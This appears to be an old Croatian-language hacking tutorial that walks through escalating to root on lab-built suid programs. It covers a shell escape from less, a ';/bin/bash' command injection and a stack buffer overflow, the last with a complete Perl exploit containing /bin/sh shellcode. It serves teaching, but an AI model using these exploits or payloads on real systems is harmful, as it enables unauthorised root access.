/* Download sa NHC sajta */ /* WWW.NHC-Team.ORG */ /* Tema: Hacking/Security */ Exploitanje - bugovi i stack **************************** Sto je potrebno za exploitanje nekog programa, a time i za pisanje exploita za njega? Potrebni su vam sljedeci toolsi: 1) Osnovno znanje o asm-u 2) Osnovno znanje o C-u 3) Razumijevanje stacka, varijabla, buffera 4) strace 5) gdb 6) gcc 7) Osnovni rad u shellu i poznavanje detalja osnovnih naredbi/programa Evo nesto o iskoristavanju 'laganih' bugova koji su vrlo rijetki, ali nekome se moze dogoditi, recimo, kao developerima crontaba kada ostanu root permissioni pri drugom pozivanju $EDITOR programa. Logirajte se kao root. [mojabaka][~]# mkdir testovi [mojabaka][~]# chmod 755 testovi ; chmod 755 ~ [mojabaka][~]# cd testovi [mojabaka][~/testovi]# Sada uzmite svoj najdrazi oblik tekst editora i u njega upisite ovaj sadrzaj: ---CUT HERE--- /* Program sa mogucnoscu izlaska u shell kroz pager program */ #include int main() { system("/usr/bin/less ./oglasna_ploca"); } ---CUT HERE--- File sacuvajte pod nekim imenom, npr. poruka.c Zatim ga kompajliramo... [mojabaka][~/testovi]# gcc -o poruka poruka.c Sada jos napravimo file koji se zove oglasna_ploca i u njega upisemo neki tekst po zelji. (u istom diru) [mojabaka][~/testovi]# chmod 4755 poruka Odlogiramo roota. Logiramo se sa nekim obicnim user accountom. [mojabaka][~]$ cd ~root/testovi U direktoriju smo sa suid programom. Pokrecemo ga. [mojabaka][~root/testovi]$ ./poruka blah1 blah2 blah3 ... blah150 : Sada je program /usr/bin/less poceo citati file oglasna_ploca, a njegova je svrha prakticno scroolanje kroz neki tekst te pageanje da nam sav tekst ne 'pobjegne' kroz ekran. Takodjer ako smo citali manuale ili ako znamo od prije da less moze za vrijeme radnje (izvrsavanja) nad nekim fileom izvrsiti neku shell naredbu ili pokrenuti program po nasem izboru. I tako radimo sljedece... blah1 blah2 blah3 ... blah150 :!/bin/bash bash# whoami root Ovo uopce nije tesko nauciti niti je neko veliko znanje ovo razumjeti, ali neki neznaju, a od primjera mogu nauciti koje sve principe koristiti u exploitanju programa. Mozda neki drugi exploitable program nije prikazivac fileova, ali moze na slican nacin dovesti vas do roota. Dakle isprobavajte i ucite. Jos nesto, mozda ste se pitali zasto pri kompajliranju nekog vaseg programa gcc kaze da je naredba gets() opasna i ne bi se trebala koristiti? Zato sto pomocu nje mozete upisati u neku varijablu podataka koliko zelite (najcesce -- ako autor programa nije pazio) te prepisati EIP registar u kojem se nalazi adresa koja pointa na shellcode, program koji pokrece shell. Takodjer, opasno je koristiti i system() jer se moze dogoditi da je u programu moguce promijeniti varijablu ciji sadrzaj on pokrece (kasnije o heap/bss overflowima). Jedan lagani primjer koji mozete napisati (ili za c ili za bash) u kojem program file provjerava da li postoji file koji ste mu zadali u nekoj varijabli ili pomocu gets(). Stavite da je program suid root i pokusajte ga pokrenuti kao obican korisnik nadodajuci na ime nekog filea pokretanje nekog shella ovako... [mojabaka][~root/testovi]$ ./file_prog Upisite ime nekog filea: ;/bin/bash bash# whoami root Evo par stvari koje se moraju znati. Procesi u memoriji su organizirani u 3 cjeline. To su Text, Data i Stack. Stack buffer overflowi su oni, pogadjate, koji se izvrsavaju na stacku. Sad malo teorije. Stack ili na hrvatskom stog (u daljnjem tekstu ipak stack jer bolje zvuci) je dio, blok memorije koji je namijenjen za neke podatke. Karakteristika stacka je da zadnji segment podataka dodan na njega je prvi koji ce biti maknut. Na stacku postoji registar SP sto znaci stack pointer i on pokazuje na vrh stacka. Funkcije koje nesto stavljaju i micu sa stacka su PUSH i POP. Ok, nadam se da ste shvatili, ako nije jasno citajte dalje pa cete mozda shvatiti iz primjera, ako ne niti tada, proucite neki strucniji tekst o ovome podrucju. Evo drugi primjer. Ovo ce biti jedan vrlo lagani primjer stack buffer overflowa. Logirani smo kao root i opet u isti direktorij sacuvamo file sa ovim sadrzajem ---CUT HERE--- /* Program sa propustom u prepisivanju argumenta u varijablu */ #include int main(int argc, char *argv[]) { char buffer[1024]; if (argc <= 1) { printf("Presented by PhreakCore\n"); printf("~~~~~~~~~~~~~~~~~~~~~~~\n"); printf("Pa tko je tu lud?\n"); } if (argc > 1) { printf("Presented by PhreakCore\n"); printf("~~~~~~~~~~~~~~~~~~~~~~~~\n"); strcpy(buffer,argv[1]); printf("Zasto si upisao %s?\n",buffer); } } ---CUT HERE--- I sacuvamo ga kao pozdrav.c te ga kompajliramo i postavimo odgovarajuci mod. [mojabaka][~/testovi]# gcc -o pozdrav pozdrav.c [mojabaka][~/testovi]# chmod 4755 pozdrav c Odlogiramo roota i logiramo se kao obicni user. [mojabaka][~]$ cd ~root/testovi [mojabaka][~root/testovi]$ ./pozdrav Presented by PhreakCore ~~~~~~~~~~~~~~~~~~~~~~~ Pa tko je tu lud? Idemo probati upisati nesto kao argument. [mojabaka][~root/testovi]$ ./pozdrav mojabaka Presented by PhreakCore ~~~~~~~~~~~~~~~~~~~~~~~ Zasto si upisao mojabaka? Ovaj put smo imali priliku vidjeti kod programa pa smo vidjeli da se argument upisuje u char varijablu velicine 1024, ukoliko argument postoji. Posto znamo da su ebp i eip registri zajedno velicine 8, probati cemo uz pomoc programskog jezika perla na laksi nacin prepisati te registre. Nasa char varijabla maksimalno moze primiti 1024 znakova a mi cemo probati upisati 1024+8 = 1032 dakle dovoljno znakova da se prepisu u ovom slucaju znakovi X preko varijable te ebp i eip registara. [mojabaka][~root/testovi]$ ./pozdrav `perl -e '{print "X"x"1032"}'` Presented by PhreakCore ~~~~~~~~~~~~~~~~~~~~~~~ Zasto si upisao XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXX? Segmentation fault Sada je sve sto trebamo napraviti jest provjeriti da li je prepisan cijeli eip registar sa 4 znaka X i kako glasi stack pointer address za vrijeme iznenadnog prekida programa. To radimo sa programom gdb. [mojabaka][~root/testovi]$ gdb pozdrav GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". (gdb) run `perl -e '{print "X"x"1032"}'` Starting program: /root/testovi/pozdrav `perl -e '{print "X"x"1032"}'` Presented by PhreakCore ~~~~~~~~~~~~~~~~~~~~~~~ Zasto si upisao XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXX? Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) Sto je ovo 0x58585858? To je hex vrijednost 4 znaka X. Dakle eip registar je prepisan znakovima X koji znace hop na sljedecu instrukciju u programu, a posto X nista bitno ne znaci program ce biti prekinut segfaultom. Ovo je bio samo test da se provjeri da li smo stavili dobar broj znakova (1032). Sada trebamo vidjeti kako glasi stack pointer. (gdb) info reg esp esp: 0xbffff940 -1073743552 (gdb) Zapamtimo 0xbffff940. Upozorenje! Vrijednost ovog registra moze kod vas na vasoj distribuciji i racunalu biti drugacija, stoga napravite isto sto ovdje pise i zapisite pravu vrijednost. Sada kada znamo broj znakova kojim trebamo prepisati buffer+ebp+eip jedino sto trebamo je u to upisati umjesto Xova ili drugih charova nas shellcode, asm program koji pokrece shell. Evo i exploita za nas program, komentari su unutar njega. Program je pisan u perlu. ---CUT HERE--- #!/usr/bin/perl $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89". "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c". "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff". "\xff\xff/bin/sh"; # Duljina varijable + ebp + eip registara koji se trebaju prepisati $len = 1024 + 8; # Stack pointer (ESP) za vrijeme iznenadnog prekida programa, buduca return adresa na koju jos # treba dodati offset $ret = 0xbffff940; # NOP (No operation) konstanta za x86 -- nas vjerni pomagac $nop = "\x90"; # Odstupanja od ESP-a kako bi se prepisao EIP na engleskom tzv. defaultni offset $offset = 830; # Ako se upise brojcani argument, on se koristi kao offset if (@ARGV == 1) { $offset = $ARGV[0]; } # Stavljamo NOPove u buffer for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # Nadodajemo shellcode u buffer $buffer .= $shellcode; # Na ekran se ispise hex vrijednost ESPa + offseta dakle odstupanja # Offset moze biti pozitivan, a i negativan, a upisujemo ga kao cjelobrojnu vrijednost koja se # kasnije pretvara u hex print("Lokacija overflowa: 0x", sprintf('%lx',($ret + $offset)), "\n"); # Zapisujemo novu vrijednost return adrese $new_ret = pack('l', ($ret + $offset)); # Nadodajemo return adresu u buffer for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # Pokrecemo program sa argumentom koji nosi vrijednost varijable za overflow exec("/root/testovi/pozdrav $buffer"); ---CUT HERE--- Ako cete ikada pisati exploite za sparc imajte na umu da je NOP drugaciji (ako cete ga koristiti) i on za sparc glasi 0xa61cc013. Obratite takodjer pozornost na strojeve koji imaju u /etc/system datoteci (solarisi uglavnom) linije: set noexec_user_stack=1 set noexec_user_stack_log=1 Tada nemojte se truditi izvoditi buffer overflowe jer necete moci, a pokusaji ce biti zabiljezeni. BoyScout [boyscout@phreakcore.org] PhreakCore http://www.phreakcore.org /* Download sa NHC sajta */ /* WWW.NHC-Team.ORG */ /* Tema: Hacking/Security */